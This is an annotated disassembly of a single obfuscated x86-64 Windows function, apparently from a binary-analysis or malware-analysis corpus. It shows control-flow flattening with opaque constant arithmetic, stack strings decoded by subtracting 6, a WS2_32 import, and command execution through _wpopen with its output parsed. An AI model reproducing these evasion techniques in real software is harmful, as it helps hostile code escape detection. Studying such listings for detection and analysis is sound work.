Function at 0x18003bd59
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rax
pushf
mov eax, 0xb0b1b14
pushf
not eax
add eax, 0xd98eecd1
xor eax, 0x98ada96d
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xe200d184
xor eax, 0x9636fbac
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x8fbbbce6
xor eax, 0xa4fe3349
rol eax, 0x52
popf
cmp eax, 0x20
jne 0x18003bda9
popf
pop rax
jmp 0x18003d2ad
cmp eax, 0
jne 0x18003bdb8
popf
pop rax
jmp 0x18003bfb6
cmp eax, 3
jne 0x18003bdc7
popf
pop rax
jmp 0x18003c30c
cmp eax, 1
jne 0x18003bdd6
popf
pop rax
jmp 0x18003c0fa
cmp eax, 0xd
jne 0x18003bde5
popf
pop rax
jmp 0x18003c81b
cmp eax, 0x1a
jne 0x18003bdf4
popf
pop rax
jmp 0x18003cfac
cmp eax, 0xe
jne 0x18003be03
popf
pop rax
jmp 0x18003c905
cmp eax, 0xb
jne 0x18003be12
popf
pop rax
jmp 0x18003c6d7
cmp eax, 0x19
jne 0x18003be21
popf
pop rax
jmp 0x18003cece
cmp eax, 8
jne 0x18003be30
popf
pop rax
jmp 0x18003c5e3
cmp eax, 0x1d
jne 0x18003be3f
popf
pop rax
jmp 0x18003d0ea
cmp eax, 0x17
jne 0x18003be4e
popf
pop rax
jmp 0x18003cd92
cmp eax, 0x1c
jne 0x18003be5d
popf
pop rax
jmp 0x18003d092
cmp eax, 0x12
jne 0x18003be6c
popf
pop rax
jmp 0x18003cb63
cmp eax, 0x18
jne 0x18003be7b
popf
pop rax
jmp 0x18003ce39
cmp eax, 0x11
jne 0x18003be8a
popf
pop rax
jmp 0x18003cad0
cmp eax, 0x1b
jne 0x18003be99
popf
pop rax
jmp 0x18003d00a
cmp eax, 0x21
jne 0x18003bea8
popf
pop rax
jmp 0x18003d350
cmp eax, 0x23
jne 0x18003beb7
popf
pop rax
jmp 0x18003d45f
cmp eax, 0x14
jne 0x18003bec6
popf
pop rax
jmp 0x18003cc54
cmp eax, 0xf
jne 0x18003bed5
popf
pop rax
jmp 0x18003c9c6
cmp eax, 0x13
jne 0x18003bee4
popf
pop rax
jmp 0x18003cc0b
cmp eax, 0x15
jne 0x18003bef3
popf
pop rax
jmp 0x18003ccf8
cmp eax, 0x22
jne 0x18003bf02
popf
pop rax
jmp 0x18003d3e1
cmp eax, 0x1e
jne 0x18003bf11
popf
pop rax
jmp 0x18003d148
cmp eax, 0xc
jne 0x18003bf20
popf
pop rax
jmp 0x18003c796
cmp eax, 7
jne 0x18003bf2f
popf
pop rax
jmp 0x18003c5ad
cmp eax, 5
jne 0x18003bf3e
popf
pop rax
jmp 0x18003c418
cmp eax, 0x1f
jne 0x18003bf4d
popf
pop rax
jmp 0x18003d1a0
cmp eax, 0x10
jne 0x18003bf5c
popf
pop rax
jmp 0x18003ca87
cmp eax, 6
jne 0x18003bf6b
popf
pop rax
jmp 0x18003c52a
cmp eax, 9
jne 0x18003bf7a
popf
pop rax
jmp 0x18003c656
cmp eax, 4
jne 0x18003bf89
popf
pop rax
jmp 0x18003c38c
cmp eax, 0x16
jne 0x18003bf98
popf
pop rax
jmp 0x18003cd49
cmp eax, 2
jne 0x18003bfa7
popf
pop rax
jmp 0x18003c193
cmp eax, 0xa
jne 0x18003bfb6
popf
pop rax
jmp 0x18003c6b7
mov rax, rsp
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rax - 0x488]
sub rsp, 0x560
mov qword [rbp + 0xe0], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov rdi, rcx
xor esi, esi
mov dword [rbp - 0x58], esi
mov qword [rbp - 0x68], rsi
lea r13d, [rsi + 7]
mov qword [rbp - 0x60], r13
mov word [rbp - 0x78], si
mov byte [rsp + 0x30], 0x49
mov byte [rsp + 0x31], 0x40
mov byte [rsp + 0x32], 0x62
mov byte [rsp + 0x33], 0x56
mov byte [rsp + 0x34], 0x78
mov byte [rsp + 0x35], 0x75
mov byte [rsp + 0x36], 0x6d
mov byte [rsp + 0x37], 0x78
mov byte [rsp + 0x38], 0x67
mov byte [rsp + 0x39], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3a], 0x26
mov byte [rsp + 0x3b], 0x4c
mov byte [rsp + 0x3c], WSAStartup
mov byte [rsp + 0x3d], WSAStartup
mov byte [rsp + 0x3e], 0x6b
mov byte [rsp + 0x3f], 0x79
mov byte [rsp + 0x40], 0x26
mov byte [rsp + 0x41], 0x2e
mov byte [rsp + 0x42], 0x7e
mov byte [rsp + 0x43], 0x3e
mov byte [rsp + 0x44], 0x3c
mov byte [rsp + 0x45], 0x2f
mov byte [rsp + 0x46], 0x62
mov byte [rsp + 0x47], 0x5d
mov byte [rsp + 0x48], 0x6b
mov byte [rsp + 0x49], 0x6d
mov byte [rsp + 0x4a], 0x67
mov byte [rsp + 0x4b], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x4c], 0x6b
mov byte [rsp + 0x4d], 0x62
mov byte [rsp + 0x4e], 0x7b
mov byte [rsp + 0x4f], 0x79
mov byte [rsp + 0x50], 0x6b
mov byte [rsp + 0x51], 0x78
mov byte [rsp + 0x52], 0x34
mov byte [rsp + 0x53], 0x6a
mov byte [rsp + 0x54], 0x67
mov byte [rsp + 0x55], 0x7a
mov byte [rsp + 0x56], sil
mov al, byte [rsp + 0x30]
mov edx, esi
lea r14d, [rsi + 1]
push rax
pushf
mov eax, 0x28089414
pushf
not eax
add eax, 0xdb78f567
xor eax, 0xc240b221
rol eax, 0xac
popf
pushf
not eax
add eax, 0xd1474a72
xor eax, 0xc410135c
rol eax, 0xdf
popf
jmp 0x18003bd9a
movsx ecx, byte [rsp + rdx + 0x30]
sub ecx, 6
mov byte [rsp + rdx + 0x30], cl
push r14
not r14
sub rdx, r14
pop r14
sub rdx, 1
cmp rdx, 0x26
jb 0x18003c160
push rax
pushf
mov eax, 0x1e436d22
pushf
not eax
add eax, 0xcd4acf5b
xor eax, 0x97cc51ae
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xa86a3a12
xor eax, 0xa4782417
rol eax, 0x12
popf
pushf
not eax
add eax, 0x80fc4dc1
xor eax, 0xf3879f91
rol eax, 0x1b
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0xc3d729ea
pushf
not eax
add eax, 0xcc979f42
xor eax, 0x8672c599
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xb6e34a8c
xor eax, 0x9d157435
rol eax, 0xce
popf
jmp 0x18003bd9a
lea rax, [0x1c20eea8a]
pushf
sub rax, 0x420d2cda
popf
mov qword [rbp - 0x30], rax
lea rcx, [rbp + 0x80]
jmp 0x18003c1b0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov dword [rbp - 0x58], 2
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x30]
jmp 0x18003c1cd
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea r15, [0x1de5580fa]
pushf
sub r15, 0x5e53c3c2
popf
mov qword [rbp + rcx - 0x30], r15
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rax, [rbp - 0x20]
mov qword [rbp + 0x498], rax
lea rcx, [rbp - 0x20]
jmp 0x18003c215
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
lea rax, [0x1f0987942]
pushf
sub rax, 0x7096bb6a
popf
mov qword [rbp - 0x20], rax
mov byte [rbp + 0x5c], sil
mov byte [rbp + 0x52], sil
lea rcx, [rbp - 0x20]
jmp 0x18003c23e
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Init_void____ptr64]
mov qword [rbp + 0x60], rsi
mov rax, qword [0x18002fa20]
mov qword [rbp + 0x54], rax
mov qword [rbp + 0x48], rsi
mov r8d, r14d
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.1800104f8
test rax, rax
jne 0x18003c2b3
push rax
pushf
mov eax, 0x338351c1
pushf
not eax
add eax, 0xc69c3061
xor eax, 0xe6ed5f65
rol eax, 0x11
popf
pushf
not eax
add eax, 0x86a04568
xor eax, 0xdbd35b5b
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xb43aea40
xor eax, 0xf96f2a2f
rol eax, 0x81
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x8391610e
pushf
not eax
add eax, 0xcb7404e2
xor eax, 0xf52cd647
rol eax, 0xef
popf
pushf
not eax
add eax, 0xd98e93c9
xor eax, 0xc8824587
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x90c8dbb2
xor eax, 0xe69bbdb4
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xae77b5d1
xor eax, 0xb8077761
rol eax, 0x47
popf
jmp 0x18003bd9a
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x18003c32c
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
push rax
pushf
mov eax, 0x5152f87b
pushf
not eax
add eax, 0x909c2452
xor eax, 0xcc257a02
rol eax, 0x24
popf
pushf
not eax
add eax, 0xedc1a923
xor eax, 0xd5a2e731
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xa471b104
xor eax, 0xd48ceefa
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x98055873
xor eax, 0xeb6830e4
rol eax, 0xa9
popf
jmp 0x18003bd9a
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x20], 6
jne 0x18003c3e5
push rax
pushf
mov eax, 0x252f71f4
pushf
not eax
add eax, 0xcc8796cd
xor eax, 0xba551dbf
rol eax, 0x25
popf
pushf
not eax
add eax, 0xb82133c4
xor eax, 0xb13a4d26
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xc4bdb6e9
xor eax, 0x8f83a08a
rol eax, 0x96
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0xc1a7e0c8
pushf
not eax
add eax, 0xa60d319d
xor eax, 0xa3c40eba
rol eax, 0xda
popf
pushf
not eax
add eax, 0x984861f5
xor eax, 0xdaa9dc7b
rol eax, 0xa9
popf
jmp 0x18003bd9a
lea rax, [rbp - 0x30]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov dl, WSAStartup
pushf
not dl
add dl, 0x1f
xor dl, 0xb8
rol dl, 0xb4
popf
pushf
not dl
add dl, 0xfb
xor dl, 0xbc
rol dl, 0x89
popf
jmp 0x18003c449
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
movzx r8d, ax
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x30]
call fcn.180011228
lea rcx, [rbp - 0x78]
call fcn.18000e300
lea r8, [rbp - 0x78]
lea rcx, [rbp + 0xe8]
call fcn.180010848
mov rbx, rax
mov qword [rbp + 0x498], rax
cmp dword [0x18002f6e0], esi
je 0x18003c4e4
push rax
pushf
mov eax, 0xf3d78e75
pushf
not eax
add eax, 0xe816a5be
xor eax, 0xe08d622e
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xddfc6549
xor eax, 0x95db7f1f
rol eax, 0x38
popf
pushf
not eax
add eax, 0x8a69128d
xor eax, 0xed3b5662
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xc4f7b23b
xor eax, 0xce3b2552
rol eax, 0xb0
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x5f7a0562
pushf
not eax
add eax, 0xd71c2ea0
xor eax, 0xd5110fea
rol eax, 0x96
popf
pushf
not eax
add eax, 0xffc72860
xor eax, 0xab125911
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xd55fdd97
xor eax, 0xccbde6a3
rol eax, 0x3a
popf
jmp 0x18003bd9a
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x18003c567
push rax
pushf
mov eax, 0x245da55a
pushf
not eax
add eax, 0xb3364fdf
xor eax, 0xbcd4d0c3
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc037712a
xor eax, 0x9c9e6dec
rol eax, 0xd8
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x5fcd7c67
pushf
not eax
add eax, 0x85e8484d
xor eax, 0x9e681e66
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xfd7d180e
xor eax, 0xdd20ba80
rol eax, 0x63
popf
pushf
not eax
add eax, 0xe72582f2
xor eax, 0xe784aef6
rol eax, 0x6d
popf
jmp 0x18003bd9a
mov rdx, qword [rax]
push rax
pushf
mov eax, 0xc9d7d13a
pushf
not eax
add eax, 0xee0d2b82
xor eax, 0x94f3e83b
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xde5e2c18
xor eax, 0xb6911fac
rol eax, 0x12
popf
jmp 0x18003bd9a
mov r8, qword [rax + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.18001109c
mov rcx, rax
lea rdx, [0x1d4174caf]
pushf
sub rdx, 0x541644a3
popf
jmp 0x18003c609
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
push rax
pushf
mov eax, 0xe6761765
pushf
not eax
add eax, 0xad481d9e
xor eax, 0xe38a674a
rol eax, 0xad
popf
pushf
not eax
add eax, 0xdb3d9e9b
xor eax, 0x97d7a05f
rol eax, 0x10
popf
pushf
not eax
add eax, 0x8c54dd86
xor eax, 0xd2a484af
rol eax, 0xe2
popf
jmp 0x18003bd9a
mov rcx, rbx
call fcn.180005d48
push rax
pushf
mov eax, 0xb116b78e
pushf
not eax
add eax, 0xcee6bb48
xor eax, 0x8ab5bdc8
rol eax, 0x97
popf
pushf
not eax
add eax, 0xab6939af
xor eax, 0x84d02728
rol eax, 0xef
popf
pushf
not eax
add eax, 0xe706167a
xor eax, 0xb8a79506
rol eax, 0x53
popf
pushf
not eax
add eax, 0xfc5084da
xor eax, 0x89a30f39
rol eax, 0x7f
popf
jmp 0x18003bd9a
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp - 0x68]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], r13
mov word [rbp - 0x78], si
jmp 0x18003d4d9
lea rdx, [0x1d8b1cad3]
pushf
sub rdx, 0x58b00e6b
popf
lea rcx, [0x1e1c5e13e]
pushf
sub rcx, 0x61c424ae
popf
jmp 0x18003c6fc
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rbx, rax
test rax, rax
jne 0x18003c73d
push rax
pushf
mov eax, 0x23721bf5
pushf
not eax
add eax, 0xe8425950
xor eax, 0xc5b5248d
rol eax, 0x93
popf
pushf
not eax
add eax, 0x96c91a56
xor eax, 0xf8110f2d
rol eax, 0xc6
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x33ec7453
pushf
not eax
add eax, 0xf5cca82a
xor eax, 0xeeacf300
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x91589987
xor eax, 0xd87dfbc5
rol eax, 0x82
popf
pushf
not eax
add eax, 0xae850133
xor eax, 0x971a96fe
rol eax, 0x32
popf
pushf
not eax
add eax, 0xded2795e
xor eax, 0xbe77aa43
rol eax, 0x15
popf
jmp 0x18003bd9a
lea rdx, [0x1e5744241]
pushf
sub rdx, 0x65728561
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18001064c
mov rcx, rax
lea rdx, [0x1ce3091d9]
pushf
sub rdx, 0x4e2f8a05
popf
jmp 0x18003c7ca
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18003c6b7
mov r8, rbx
mov edx, 0x8c0de598
pushf
not edx
add edx, 0xab1866fc
xor edx, 0xce29a8d1
rol edx, 0x4d
popf
pushf
not edx
add edx, 0xe79eb0bd
xor edx, 0x941f122d
rol edx, 0xae
popf
pushf
not edx
add edx, 0xa679c6bb
xor edx, 0xd54e811d
rol edx, 0x38
popf
lea rcx, [rbp + 0x260]
jmp 0x18003c86a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x18003c8bf
push rax
pushf
mov eax, 0xfd2061c1
pushf
not eax
add eax, 0xcd207e32
xor eax, 0x9960bffd
rol eax, 0x54
popf
pushf
not eax
add eax, 0x991bf634
xor eax, 0xfac7d2b3
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xa9698afb
xor eax, 0xa43455f9
rol eax, 0xe4
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x1ebe4c35
pushf
not eax
add eax, 0xaeda7c49
xor eax, 0xef7cf9cc
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xe0e58c67
xor eax, 0x925bdb76
rol eax, 0x67
popf
pushf
not eax
add eax, 0xc1607339
xor eax, 0xaabae495
rol eax, 0xc4
popf
jmp 0x18003bd9a
or r15, 0xffffffffffffffff
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x50]
call fcn.1800062f8
nop
lea rdx, [0x1ff95a92a]
pushf
sub rdx, 0x7f93ec2e
popf
lea rcx, [rbp - 0x50]
call fcn.18000f1f0
cmp rax, r15
je 0x18003c96d
push rax
pushf
mov eax, 0x2e62deeb
pushf
not eax
add eax, 0xbac50ef3
xor eax, 0xfe11ba30
rol eax, 0x37
popf
pushf
not eax
add eax, 0xb6eba9c8
xor eax, 0x9b4a7002
rol eax, 0xad
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x8195284b
pushf
not eax
add eax, 0xcff73cfb
xor eax, 0x8e6a81fa
rol eax, 0x65
popf
pushf
not eax
add eax, 0xf0330528
xor eax, 0xeab7c163
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xc8f9159c
xor eax, 0xed5caf3c
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xba2c6f28
xor eax, 0xd2043264
rol eax, 0x93
popf
jmp 0x18003bd9a
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rdx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.18001109c
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rcx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x40]
test rax, rax
je 0x18003ca2e
push rax
pushf
mov eax, 0xf0de31d
pushf
not eax
add eax, 0x973541c1
xor eax, 0xe76468f6
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xcbabda51
xor eax, 0xc87584e1
rol eax, 0x66
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x6ede05f0
pushf
not eax
add eax, 0xc7659892
xor eax, 0xe33c0368
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf6e7f9eb
xor eax, 0xaed3e612
rol eax, 0x37
popf
pushf
not eax
add eax, 0xd766a23b
xor eax, 0x89f89fc2
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xccc127d6
xor eax, 0xb511ab30
rol eax, 0x97
popf
jmp 0x18003bd9a
mov r9, rcx
push rax
pushf
mov eax, 0x6bb4944f
pushf
not eax
add eax, 0x8d1514f4
xor eax, 0xb763cf93
rol eax, 0x91
popf
pushf
not eax
add eax, 0xb965b0e9
xor eax, 0xd96fcae8
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x82441eb3
xor eax, 0x9bf09c20
rol eax, 0x7f
popf
jmp 0x18003bd9a
cmp word [r9], 0x63
je 0x18003cb30
push rax
pushf
mov eax, 0x522ac019
pushf
not eax
add eax, 0x9137079b
xor eax, 0xf3999e3d
rol eax, 9
popf
pushf
not eax
add eax, 0xef2c2cf6
xor eax, 0x8845892a
rol eax, 9
popf
pushf
not eax
add eax, 0xf1f02877
xor eax, 0xe34a44c2
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xf46fd850
xor eax, 0xea5718bc
rol eax, 0x43
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x71f0e71d
pushf
not eax
add eax, 0xcaafdd1c
xor eax, 0xdd7f6bb6
rol eax, 0x28
popf
pushf
not eax
add eax, 0x88d10dee
xor eax, 0xc738c568
rol eax, 0x31
popf
jmp 0x18003bd9a
add r9, 2
sub rax, r14
jne 0x18003cbc5
push rax
pushf
mov eax, 0x1ff0a85b
pushf
not eax
add eax, 0x936c2056
xor eax, 0xde4c4ded
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xf9860506
xor eax, 0x925016cd
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xe7978f74
xor eax, 0xabe3f660
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x86ac9a34
xor eax, 0xbea96a64
rol eax, 0x3d
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0xde8322e6
pushf
not eax
add eax, 0xeac66695
xor eax, 0xc0f4c487
rol eax, 0x12
popf
pushf
not eax
add eax, 0xbe6b7192
xor eax, 0xcb22d307
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x8a118665
xor eax, 0xdaa3e30d
rol eax, 0xc5
popf
jmp 0x18003bd9a
mov r9, rsi
push rax
pushf
mov eax, 0x4e30dd78
pushf
not eax
add eax, 0xd564c8cf
xor eax, 0xfe8575df
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x9f1ce9f4
xor eax, 0xfc9f7914
rol eax, 0x75
popf
pushf
not eax
add eax, 0xaa3bdfd0
xor eax, 0xd0294503
rol eax, 0xa5
popf
jmp 0x18003bd9a
test r9, r9
je 0x18003ccb2
push rax
pushf
mov eax, 0xf85854d8
pushf
not eax
add eax, 0xa89c8c9c
xor eax, 0x9f03eb6b
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x9670ed67
xor eax, 0xf615b2d3
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x95a5ec74
xor eax, 0xf27be099
rol eax, 0x32
popf
pushf
not eax
add eax, 0xd26d8abf
xor eax, 0xe3b06669
rol eax, 0xb7
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0xb340013b
pushf
not eax
add eax, 0x8f133ed3
xor eax, 0xa624a088
rol eax, 0x36
popf
pushf
not eax
add eax, 0xbba6b879
xor eax, 0xe10c9650
rol eax, 0xba
popf
pushf
not eax
add eax, 0xee46f55f
xor eax, 0xe7fbcdab
rol eax, 0x39
popf
jmp 0x18003bd9a
sub r9, rcx
sar r9, 1
jmp 0x18003cd92
mov r9, r15
push rax
pushf
mov eax, 0x1eb130a7
pushf
not eax
add eax, 0xeea15d82
xor eax, 0x850e303c
rol eax, 0x23
popf
pushf
not eax
add eax, 0xdcd89e5f
xor eax, 0xa33ccc17
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xa1e5f35f
xor eax, 0xe9468572
rol eax, 0xc6
popf
jmp 0x18003bd9a
lea rcx, [rbp - 0x50]
cmp r9, r15
jne 0x18003cdf3
push rax
pushf
mov eax, 0xe14f6f36
pushf
not eax
add eax, 0xc96fee3d
xor eax, 0xf4fc5675
rol eax, 1
popf
pushf
not eax
add eax, 0xc9dc036a
xor eax, 0xba89024d
rol eax, 0x52
popf
pushf
not eax
add eax, 0xeaa88257
xor eax, 0xb84104fb
rol eax, 0xc
popf
pushf
not eax
add eax, 0xd7ec5100
xor eax, 0xeab6d64d
rol eax, 0xdd
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0xcb25c7fd
pushf
not eax
add eax, 0xbf39cbcb
xor eax, 0xe19570a7
rol eax, 0x70
popf
pushf
not eax
add eax, 0x9896859c
xor eax, 0xb9f8d75c
rol eax, 0x60
popf
pushf
not eax
add eax, 0xb2066dff
xor eax, 0xf531c6b8
rol eax, 0xe5
popf
jmp 0x18003bd9a
lea rdx, [0x1dd524fca]
pushf
sub rdx, 0x5d5092ca
popf
call fcn.18000f1f0
cmp rax, r15
jne 0x18003ce9b
push rax
pushf
mov eax, 0x9bc538df
pushf
not eax
add eax, 0x96471570
xor eax, 0xf1ece61c
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xa6fa70e5
xor eax, 0xa9c4ab2b
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xed757363
xor eax, 0x945c21b2
rol eax, 0x2c
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0x98b56239
pushf
not eax
add eax, 0xbc6db92f
xor eax, 0x85bff036
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x9ff1504a
xor eax, 0x815699b1
rol eax, 0xb5
popf
jmp 0x18003bd9a
lea rcx, [rbp - 0x50]
call fcn.180005d48
mov r8, rbx
mov edx, 0xf31fc7a7
pushf
not edx
add edx, 0xd5f00958
xor edx, 0xde6391b7
rol edx, 0x87
popf
pushf
not edx
add edx, 0xeb6a5ba6
xor edx, 0xe696b3f9
rol edx, 0xa0
popf
pushf
not edx
add edx, 0xb3166b13
xor edx, 0x928305f2
rol edx, 0x12
popf
pushf
not edx
add edx, 0xaa7fc13e
xor edx, 0xfee50734
rol edx, 0x8b
popf
lea rcx, [rbp + 0x260]
jmp 0x18003cf3b
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x18003cf79
push rax
pushf
mov eax, 0x102f62f9
pushf
not eax
add eax, 0xc4628ac0
xor eax, 0xd3bedd2b
rol eax, 0x59
popf
pushf
not eax
add eax, 0x9adb3890
xor eax, 0xc00c1c4a
rol eax, 0x3d
popf
jmp 0x18003bd9a
push rax
pushf
mov eax, 0xedf748d7
pushf
not eax
add eax, 0xcf84e7e2
xor eax, 0xa94229cd
rol eax, 0x66
popf
pushf
not eax
add eax, 0xed160dee
xor eax, 0xb9275c1b
rol eax, 0x51
popf
jmp 0x18003bd9a
jmp 0x18003c909
lea r9, [rax - 1]
mov r8, r14
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x50]
call fcn.18000d2c8
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.18000f2d8
lea rcx, [rbp + 0x108]
jmp 0x18003d0ea
dec r9
mov r8, r14
lea rdx, [rbp + 0x128]
call fcn.18000d2c8
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.18000f2d8
lea rcx, [rbp + 0x128]
push rax
pushf
mov eax, 0x2d5500e1
pushf
not eax
add eax, 0x90a01ae9
xor eax, 0xcdd6a15b
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x945873b7
xor eax, 0xc8be9801
rol eax, 0x6c
popf
jmp 0x18003bd9a
call fcn.180005d48
lea rcx, [rbp - 0x78]
call fcn.18000e300
nop
lea rcx, [rbp - 0x50]
call fcn.180005d48
push rax
pushf
mov eax, 0xa421adeb
pushf
not eax
add eax, 0xb30d392a
xor eax, 0xb1a40f4b
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xefeb16a4
xor eax, 0xd68d4fba
rol eax, 0x83
popf
pushf
not eax
add eax, 0xeb3eb154
xor eax, 0xcf0da5b8
rol eax, 0x9b
popf
jmp 0x18003bd9a
lea r15, [0x1da050ad8]
pushf
sub r15, 0x5a034da0
popf
push rax
pushf
mov eax, 0xbc36fd48
pushf
not eax
add eax, 0xe7558efa
xor eax, 0xf87e8109
rol eax, 0
popf
pushf
not eax
add eax, 0x8b2c1d99
xor eax, 0x87619be1
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa00426dd
xor eax, 0x8a51beb6
rol eax, 0x35
popf
jmp 0x18003bd9a
mov rcx, rbx
jmp 0x18003d1a4
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov dword [rsp + 0x58], WSAStartup
mov byte [rsp + 0x5c], 0x2f
mov byte [rsp + 0x5d], 0x56
mov byte [rsp + 0x5e], 0x30
mov byte [rsp + 0x5f], 0x3c
mov byte [rsp + 0x60], 0x1e
mov byte [rsp + 0x61], 3
mov byte [rsp + 0x62], 0xb
mov byte [rsp + 0x63], 0x1e
mov byte [rsp + 0x64], 0xd
mov byte [rsp + 0x65], r14b
mov byte [rsp + 0x66], 0x4c
mov byte [rsp + 0x67], 0x2a
mov byte [rsp + 0x68], 5
mov byte [rsp + 0x69], sil
mov byte [rsp + 0x6a], 9
